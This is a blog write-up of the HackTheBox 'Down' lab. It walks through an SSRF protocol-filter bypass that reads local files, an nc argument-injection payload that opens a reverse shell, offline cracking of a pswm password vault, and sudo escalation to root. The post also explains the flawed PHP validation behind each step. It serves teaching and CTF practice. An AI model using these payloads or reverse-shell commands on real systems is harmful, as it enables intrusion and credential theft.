DEV Community

Cover image for HackTheBox: Down Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Down Writeup

Executive Summary

Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses curl server-side to test URLs - making it a classic SSRF target. The protocol filter (http:// or https:// only) can be bypassed by injecting a space between the allowed prefix and a file:// URI, allowing arbitrary local file reads. Reading index.php reveals hidden source code including an undocumented expertmode=tcp feature that runs nc with unsanitized input. Since the IP passes FILTER_VALIDATE_IP but the port does not strip extra arguments, appending -e /bin/bash to the port field gives a reverse shell as www-data. In the web root we find a user flag. Enumerating the filesystem reveals a pswm password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so sudo su trivially gives root.


Table of Contents

  1. Reconnaissance
  2. Web Enumeration
  3. SSRF - File Read via Protocol Bypass
  4. Source Code Disclosure
  5. Initial Access - Expert Mode Command Injection
  6. User Flag
  7. Privilege Escalation - pswm Password Vault
  8. Root Flag
  9. Attack Chain Summary
  10. Key Vulnerabilities

1. Reconnaissance

root@kali#nmap -A-Pn <TARGET_IP> -oA nmap

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19
Enter fullscreen modeExit fullscreen mode

Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.


2. Web Enumeration

Browsing to http://<TARGET_IP>/ shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.

We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that something connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.

We switch to Netcat to catch the raw request and see exactly what the server sends:

nc -lnvp 4444
Enter fullscreen modeExit fullscreen mode

Submitting http://<YOUR_IP>:4444 shows:

connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 49420
GET/HTTP/1.1Host:<YOUR_IP>:4444User-Agent:curl/7.81.0Accept:*/*
Enter fullscreen modeExit fullscreen mode

This immediately tells us the backend is using curl to fetch our URL — the User-Agent gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.

Directory and path fuzzing (ffuf, gobuster) return nothing interesting beyond index.php. Trying to access the target's own localhost or internal addresses times out. We pivot to abusing the curl SSRF directly.


3. SSRF - File Read via Protocol Bypass

The form validates that URLs start with http:// or https://. Testing file:///etc/passwd directly returns:

Only protocols http or https allowed.

We try a quirk: entering http:// file:///etc/passwd (with a space between http:// and file://) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.

We try the same thing via curl to see the raw response:

curl http://<TARGET_IP>/index.php -d'url=http://+file:///etc/passwd'
Enter fullscreen modeExit fullscreen mode

+ in a POST body decodes to a space — equivalent to %20.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Enter fullscreen modeExit fullscreen mode

We have arbitrary local file read as www-data. The filter is bypassed — the server accepted http:// file:///etc/passwd without complaint and passed it straight to curl, which processed the file:// part and read the local file.

Notable: one non-system user - aleks - with a home directory at /home/aleks.


4. Source Code Disclosure

Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:

curl http://<TARGET_IP>/index.php -d'url=http://+file:///var/www/html/index.php'
Enter fullscreen modeExit fullscreen mode

The response dumps the full index.php source (HTML-entity-encoded inside the page output). The key parts:

// URL check mode — the main form}elseif(isset($_POST['url'])){$url=trim($_POST['url']);if(preg_match('|^https?://|',$url)){$rc=255;$output='';$ec=escapeshellcmd("/usr/bin/curl -s $url");exec($ec." 2>&1",$output,$rc);...}else{echo'<font color=red size=+1>Only protocols http or https allowed.</font>';}}
Enter fullscreen modeExit fullscreen mode

This explains the bypass: preg_match('|^https?://|', $url) only checks that the string starts withhttp://. It doesn't validate anything that comes after. So http:// file:///etc/passwd passes the check, then escapeshellcmd is called on the whole string - but escapeshellcmd doesn't strip spaces or extra arguments, it only escapes shell metacharacters like ;, |, &. The result is that curl receives two separate arguments: the useless http:// and the real file:///etc/passwd, and happily reads the file.

The source also reveals something much more interesting - a hidden expert mode that's never linked anywhere on the site:

// Hidden expert mode - only active when ?expertmode=tcp is in the query stringif(isset($_GET['expertmode'])&&$_GET['expertmode']==='tcp'){echo'<h1>Is the port refused, or is it just you?</h1>
<form ... action="index.php?expertmode=tcp" method="POST">
<input type="text" name="ip" ...>
<input type="number" name="port" ...>
</form>';}// Expert mode handlerif(isset($_GET['expertmode'])&&$_GET['expertmode']==='tcp'&&isset($_POST['ip'])&&isset($_POST['port'])){$ip=trim($_POST['ip']);$valid_ip=filter_var($ip,FILTER_VALIDATE_IP);$port=trim($_POST['port']);$port_int=intval($port);$valid_port=filter_var($port_int,FILTER_VALIDATE_INT);if($valid_ip&&$valid_port){$ec=escapeshellcmd("/usr/bin/nc -vz $ip$port");exec($ec." 2>&1",$output,$rc);}}
Enter fullscreen modeExit fullscreen mode

The expert mode takes an IP and port, validates them, then runs nc -vz <ip> <port> to check if a port is open. And there's a bug right in the validation logic — the port is validated using intval($port) but the raw original string$port is what gets passed to escapeshellcmd. That means anything appended after the integer - like -e /bin/bash — gets carried through unvalidated.


5. Initial Access - Expert Mode Command Injection

The vulnerability

escapeshellcmd is the wrong tool here. It escapes shell metacharacters like ;, |, &, and backticks — but it leaves spaces and additional arguments completely intact. So passing 4444 -e /bin/bash as the port value results in:

/usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
Enter fullscreen modeExit fullscreen mode

A perfectly valid nc command that connects back and executes bash.

The IP validation (FILTER_VALIDATE_IP) is strict and correct — we can't inject there. But the port field only validates the leading integer, not the full string, leaving the rest of the value free to carry extra arguments.

Exploitation

Start a listener:

nc -lnvp 4444
Enter fullscreen modeExit fullscreen mode

Send the exploit via curl, injecting -e /bin/bash after the port number (space-encoded as +):

curl 'http://<TARGET_IP>/index.php?expertmode=tcp'\-d'ip=<YOUR_IP>&port=4444+-e+/bin/bash'
Enter fullscreen modeExit fullscreen mode
nc -lnvp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN)[<TARGET_IP>] ...
www-data@down:/var/www/html$whoamiwww-data
Enter fullscreen modeExit fullscreen mode

We have a shell as www-data.


6. User Flag

Listing the web root immediately reveals an unusual file:

www-data@down:/var/www/html$ ls
index.php logo.png style.css user_aeT1xa.txt
www-data@down:/var/www/html$ cat user_aeT1xa.txt
[REDACTED]
Enter fullscreen modeExit fullscreen mode

The user flag is sitting in the web root, readable by www-data.

Post-exploitation enumeration

We check aleks's home directory:

www-data@down:/var/www/html$ ls-la /home/aleks/
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27 2025 .
drwxr-xr-x 3 root root 4096 Sep 13 2024 ..
lrwxrwxrwx 1 root root 9 May 1 2025 .bash_history -> /dev/null
drwx------ 2 aleks aleks 4096 Sep 6 2024 .cache
drwxrwxr-x 3 aleks aleks 4096 Sep 6 2024 .local
drwx------ 2 aleks aleks 4096 Sep 6 2024 .ssh
-rw-r--r-- 1 aleks aleks 0 Sep 15 2024 .sudo_as_admin_successful
Enter fullscreen modeExit fullscreen mode

.ssh is restricted - we can't read any keys. But .local is world-writable (drwxrwxr-x). We dig in:

www-data@down:/home/aleks$ cd .local/share/pswm/
www-data@down:/home/aleks/.local/share/pswm$ ls-la-rw-rw-r-- 1 aleks aleks 151 Sep 13 2024 pswm
www-data@down:/home/aleks/.local/share/pswm$ cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
Enter fullscreen modeExit fullscreen mode

pswm is a Python-based command-line password manager. A quick Google search leads to its GitHub: seriotonctf/pswm-decryptor - a tool specifically for cracking pswm vaults offline against a wordlist.


7. Privilege Escalation - pswm Password Vault

Setting up the decryptor

git clone https://github.com/seriotonctf/pswm-decryptor
cd pswm-decryptor
# Create a venv to avoid dependency conflicts
python3 -m venv password
source password/bin/activate
pip install cryptocode prettytable
Enter fullscreen modeExit fullscreen mode

Copy the vault content into a local file:

cat> pswm <<'EOF'
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
EOF
Enter fullscreen modeExit fullscreen mode

Run the decryptor against rockyou.txt:

python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
Enter fullscreen modeExit fullscreen mode
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias | Username | Password |
+------------+----------+----------------------+
| pswm | aleks | flower |
| aleks@down | aleks | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+
Enter fullscreen modeExit fullscreen mode

The vault contains two entries - the master password (flower, used to lock the vault) and aleks's actual system password: 1uY3w22uc-Wr{xNHR~+E.

SSH as aleks

ssh aleks@<TARGET_IP>
# Password: 1uY3w22uc-Wr{xNHR~+E
aleks@down:~$ id
uid=1000(aleks)gid=1000(aleks)groups=1000(aleks)
Enter fullscreen modeExit fullscreen mode

Checking sudo rights

aleks@down:~$ sudo-l[sudo] password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail_badpass,
secure_path=..., use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
Enter fullscreen modeExit fullscreen mode

Aleks can run any command as any user. The .sudo_as_admin_successful file we saw earlier in their home directory confirms they've successfully used sudo before - and they're in the sudoers list with full rights.

aleks@down:~$ sudo su
root@down:/home/aleks# whoami
root
Enter fullscreen modeExit fullscreen mode

8. Root Flag

root@down:~# cat /root/root.txt
[REDACTED]
Enter fullscreen modeExit fullscreen mode

9. Attack Chain Summary

[Attacker]
│
├─ 1. Nmap → port 80 (Apache), port 22 (SSH)
│
├─ 2. Web enum → URL checker form, curl User-Agent confirmed via NC listener
│
├─ 3. SSRF via protocol bypass: url=http://+file:///etc/passwd
│ └─ preg_match('^https?://') passes, curl receives two args
│ → arbitrary local file read as www-data
│ → /etc/passwd: user "aleks" discovered
│
├─ 4. SSRF → read index.php source code
│ └─ Hidden feature: ?expertmode=tcp → nc -vz <ip> <port>
│ Bug: port string passed raw to escapeshellcmd, intval() only validates prefix
│
├─ 5. Command injection: port=4444+-e+/bin/bash
│ └─ /usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
│ → reverse shell as www-data
│
├─ 6. Web root: user_aeT1xa.txt → user flag [REDACTED]
│
├─ 7. /home/aleks/.local/share/pswm/pswm → encrypted password vault
│ └─ pswm-decryptor + rockyou.txt → master: flower
│ → aleks@down password: 1uY3w22uc-Wr{xNHR~+E
│
├─ 8. SSH as aleks → sudo -l → (ALL : ALL) ALL
│
└─ 9. sudo su → root → root.txt [REDACTED]
Enter fullscreen modeExit fullscreen mode

10. Key Vulnerabilities

#VulnerabilityImpactNotes
1SSRF via file:// protocol bypasspreg_match('^https?://') passes on http:// file:///... since the regex only checks the prefix. curl processes both arguments, reading local files via the second one.Arbitrary local file read as www-dataClassic SSRF + escapeshellcmd does not strip spaces
2Hidden expert mode source disclosureindex.php is readable via SSRF, revealing undocumented ?expertmode=tcp featureExposed hidden attack surfaceSecurity through obscurity: no link to the feature, but source is readable
3nc argument injection via port fieldintval($port) validates only the leading integer; the raw $port string including trailing -e /bin/bash is passed to escapeshellcmd, which doesn't strip argumentsRCE as www-dataescapeshellcmd is the wrong function — escapeshellarg on each argument separately is the correct approach
4pswm vault with weak master password — aleks's password vault (pswm) is world-readable and encrypted only by the master password flower, crackable in seconds from rockyou.txtFull credential recovery for aleksSensitive credential store left readable by all users
5Unrestricted sudo — aleks has (ALL : ALL) ALL sudo rights, giving trivial privilege escalation to rootFull system compromiseA regular user should never have full sudo without a specific, scoped allowlist

Top comments (0)